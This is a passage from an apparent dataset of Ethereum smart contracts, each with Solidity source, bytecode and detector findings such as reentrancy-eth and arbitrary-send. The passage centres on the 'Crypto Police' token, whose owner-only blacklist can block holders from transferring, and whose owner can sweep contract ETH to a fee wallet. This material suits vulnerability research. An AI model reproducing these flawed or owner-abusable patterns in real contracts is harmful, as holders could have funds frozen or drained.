6815260200190815260200160002054613a0690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061361785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061366381613ad8565b61366d8483613c7d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139535782600260006009848154811061372b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061381257508160036000600984815481106137aa57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561383057600a54683635c9adc5dea000009450945050505061399a565b6138b9600260006009848154811061384457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a0690919063ffffffff16565b925061394460036000600984815481106138cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a0690919063ffffffff16565b9150808060010191505061370c565b50613972683635c9adc5dea00000600a5461298890919063ffffffff16565b82101561399157600a54683635c9adc5dea0000093509350505061399a565b81819350935050505b9091565b60008060008060008060008060006139bb8a600c54600d54613cb7565b92509250925060006139cb612c29565b905060008060006139de8e878787613d4d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613a4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123d9565b905092915050565b600080828401905083811015613ace576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613ae2612c29565b90506000613af9828461290290919063ffffffff16565b9050613b4d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613c7857613c3483600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5090919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613c9282600a54613a0690919063ffffffff16565b600a81905550613cad81600b54613a5090919063ffffffff16565b600b819055505050565b600080600080613ce36064613cd5888a61290290919063ffffffff16565b61298890919063ffffffff16565b90506000613d0d6064613cff888b61290290919063ffffffff16565b61298890919063ffffffff16565b90506000613d3682613d28858c613a0690919063ffffffff16565b613a0690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613d66858961290290919063ffffffff16565b90506000613d7d868961290290919063ffffffff16565b90506000613d94878961290290919063ffffffff16565b90506000613dbd82613daf8587613a0690919063ffffffff16565b613a0690919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737346656c6c6f7773686970204f662054686520526170746f7273207c20742e6d652f46656c6c6f7773686970526170746f7273455448536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ce5b743698abe0246c8b4576d661c2f420e591c0b5a54907938ec807d974a63764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,966 |
0x7dd545b6963a20cc5c0b5337b6e880cb85c428a3
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
/**
“The Night Is Darkest Right Before The Dawn. And I Promise You, The Dawn Is Coming.”
Everyday on DEX, we have all witnessed numerous skeptical activities including but not limited to scam/ rugpull/ honeypot.
All these activities severely caused the general fears for the public to enter the DeFi world.
As a group of industry professionals with strong belief towards the wide range of possibilities given the development of the decentralized future,
we are dedicated to assisting the community to investigate the tokens / DeFi on the market.
Colice force will dually work in collaboration with various groups of elites who share the similar values and we are all after the scammers.
“A Hero Can Be Anyone, Even Someone Doing Something As Simple And Reassuring As Putting A Coat Around A Little Boy's Shoulders To Let Him Know The World Hadn't Ended.”
Website: https://colice.io
Telegram: https://t.me/colice
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract COLICE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Crypto Police";
string private constant _symbol = "COLICE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x84bFe537AffEEB2a3b0e80a9EAf0C24502A1bDa8);
_buyTax = 11;
_sellTax = 11;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a57806346df33b7146102565780636fc3eaec1461027657806370a082311461028b57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b25780631bbae6e0146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c43727970746f20506f6c69636560981b60208201525b60405161017991906116c1565b60405180910390f35b34801561018e57600080fd5b506101a261019d36600461173b565b61041c565b6040519015158152602001610179565b3480156101be57600080fd5b5068056bc75e2d631000005b604051908152602001610179565b3480156101e457600080fd5b506101f86101f3366004611767565b610433565b005b34801561020657600080fd5b506101a2610215366004611780565b61047f565b34801561022657600080fd5b506101f86102353660046117c1565b6104e8565b34801561024657600080fd5b5060405160098152602001610179565b34801561026257600080fd5b506101f86102713660046117ec565b610533565b34801561028257600080fd5b506101f861057b565b34801561029757600080fd5b506101ca6102a63660046117c1565b6105af565b3480156102b757600080fd5b506101f86105d1565b3480156102cc57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102f457600080fd5b50604080518082019091526006815265434f4c49434560d01b602082015261016c565b34801561032357600080fd5b506101f8610645565b34801561033857600080fd5b506101a261034736600461173b565b610884565b34801561035857600080fd5b506101f861036736600461181f565b610891565b34801561037857600080fd5b506101f8610927565b34801561038d57600080fd5b506101f8610967565b3480156103a257600080fd5b506101f86103b1366004611767565b610b2f565b3480156103c257600080fd5b506101f86103d1366004611767565b610b67565b3480156103e257600080fd5b506101ca6103f13660046118e4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610429338484610b9f565b5060015b92915050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d9061191d565b60405180910390fd5b6702c68af0bb14000081111561047c5760108190555b50565b600061048c848484610cc3565b6104de84336104d985604051806060016040528060288152602001611ae3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa3565b610b9f565b5060019392505050565b6000546001600160a01b031633146105125760405162461bcd60e51b815260040161045d9061191d565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260040161045d9061191d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161045d9061191d565b4761047c81610fdd565b6001600160a01b03811660009081526002602052604081205461042d90611017565b6000546001600160a01b031633146105fb5760405162461bcd60e51b815260040161045d9061191d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161045d9061191d565b600f54600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072957600080fd5b505afa15801561073d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107619190611952565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a957600080fd5b505afa1580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e19190611952565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611952565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610429338484610cc3565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161045d9061191d565b60005b8151811015610923576001600660008484815181106108df576108df61196f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091b8161199b565b9150506108be565b5050565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161045d9061191d565b600061095c306105af565b905061047c8161109b565b6000546001600160a01b031633146109915760405162461bcd60e51b815260040161045d9061191d565b600e546109b29030906001600160a01b031668056bc75e2d63100000610b9f565b600e546001600160a01b031663f305d71947306109ce816105af565b6000806109e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4657600080fd5b505af1158015610a5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7f91906119b6565b5050600f8054671bc16d674ec8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af757600080fd5b505af1158015610b0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c91906119e4565b6000546001600160a01b03163314610b595760405162461bcd60e51b815260040161045d9061191d565b600c81101561047c57600b55565b6000546001600160a01b03163314610b915760405162461bcd60e51b815260040161045d9061191d565b600c81101561047c57600c55565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b60008111610d9657600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610dbc57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dfe57506001600160a01b03821660009081526005602052604090205460ff16155b15610f93576000600955600c54600a55600f546001600160a01b038481169116148015610e395750600e546001600160a01b03838116911614155b8015610e5e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e735750600f54600160b81b900460ff165b15610ea0576000610e83836105af565b601054909150610e938383611224565b1115610e9e57600080fd5b505b600f546001600160a01b038381169116148015610ecb5750600e546001600160a01b03848116911614155b8015610ef057506001600160a01b03831660009081526005602052604090205460ff16155b15610f01576000600955600b54600a555b6000610f0c306105af565b600f54909150600160a81b900460ff16158015610f375750600f546001600160a01b03858116911614155b8015610f4c5750600f54600160b01b900460ff165b15610f91576000610f5e600483611a01565b9050610f6a8183611a23565b9150610f7581611283565b610f7e8261109b565b478015610f8e57610f8e47610fdd565b50505b505b610f9e8383836112b9565b505050565b60008184841115610fc75760405162461bcd60e51b815260040161045d91906116c1565b506000610fd48486611a23565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610923573d6000803e3d6000fd5b600060075482111561107e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045d565b60006110886112c4565b905061109483826112e7565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e3576110e361196f565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113757600080fd5b505afa15801561114b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116f9190611952565b816001815181106111825761118261196f565b6001600160a01b039283166020918202929092010152600e546111a89130911684610b9f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e1908590600090869030904290600401611a3a565b600060405180830381600087803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112318385611aab565b9050838110156110945760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b600f805460ff60a81b1916600160a81b17905580156112a9576112a93061dead83610cc3565b50600f805460ff60a81b19169055565b610f9e838383611329565b60008060006112d1611420565b90925090506112e082826112e7565b9250505090565b600061109483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611462565b60008060008060008061133b87611490565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136d90876114ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461139c9086611224565b6001600160a01b0389166000908152600260205260409020556113be8161152f565b6113c88483611579565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140d91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d6310000061143c82826112e7565b8210156114595750506007549268056bc75e2d6310000092509050565b90939092509050565b600081836114835760405162461bcd60e51b815260040161045d91906116c1565b506000610fd48486611a01565b60008060008060008060008060006114ad8a600954600a5461159d565b92509250925060006114bd6112c4565b905060008060006114d08e8787876115f2565b919e509c509a509598509396509194505050505091939550919395565b600061109483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa3565b60006115396112c4565b905060006115478383611642565b306000908152600260205260409020549091506115649082611224565b30600090815260026020526040902055505050565b60075461158690836114ed565b6007556008546115969082611224565b6008555050565b60008080806115b760646115b18989611642565b906112e7565b905060006115ca60646115b18a89611642565b905060006115e2826115dc8b866114ed565b906114ed565b9992985090965090945050505050565b60008080806116018886611642565b9050600061160f8887611642565b9050600061161d8888611642565b9050600061162f826115dc86866114ed565b939b939a50919850919650505050505050565b6000826116515750600061042d565b600061165d8385611ac3565b90508261166a8583611a01565b146110945760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b600060208083528351808285015260005b818110156116ee578581018301518582016040015282016116d2565b81811115611700576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047c57600080fd5b803561173681611716565b919050565b6000806040838503121561174e57600080fd5b823561175981611716565b946020939093013593505050565b60006020828403121561177957600080fd5b5035919050565b60008060006060848603121561179557600080fd5b83356117a081611716565b925060208401356117b081611716565b929592945050506040919091013590565b6000602082840312156117d357600080fd5b813561109481611716565b801515811461047c57600080fd5b6000602082840312156117fe57600080fd5b8135611094816117de565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183257600080fd5b823567ffffffffffffffff8082111561184a57600080fd5b818501915085601f83011261185e57600080fd5b81358181111561187057611870611809565b8060051b604051601f19603f8301168101818110858211171561189557611895611809565b6040529182528482019250838101850191888311156118b357600080fd5b938501935b828510156118d8576118c98561172b565b845293850193928501926118b8565b98975050505050505050565b600080604083850312156118f757600080fd5b823561190281611716565b9150602083013561191281611716565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561196457600080fd5b815161109481611716565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119af576119af611985565b5060010190565b6000806000606084860312156119cb57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119f657600080fd5b8151611094816117de565b600082611a1e57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a3557611a35611985565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a8a5784516001600160a01b031683529383019391830191600101611a65565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611abe57611abe611985565b500190565b6000816000190483118215151615611add57611add611985565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021d4514ac40917d56b385376519fdb7414c8fddeb5976bc1d32372542b2c7b0564736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,967 |
0x20308B8986D45A1EB50757e03f4DdDD15b22FB0F
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
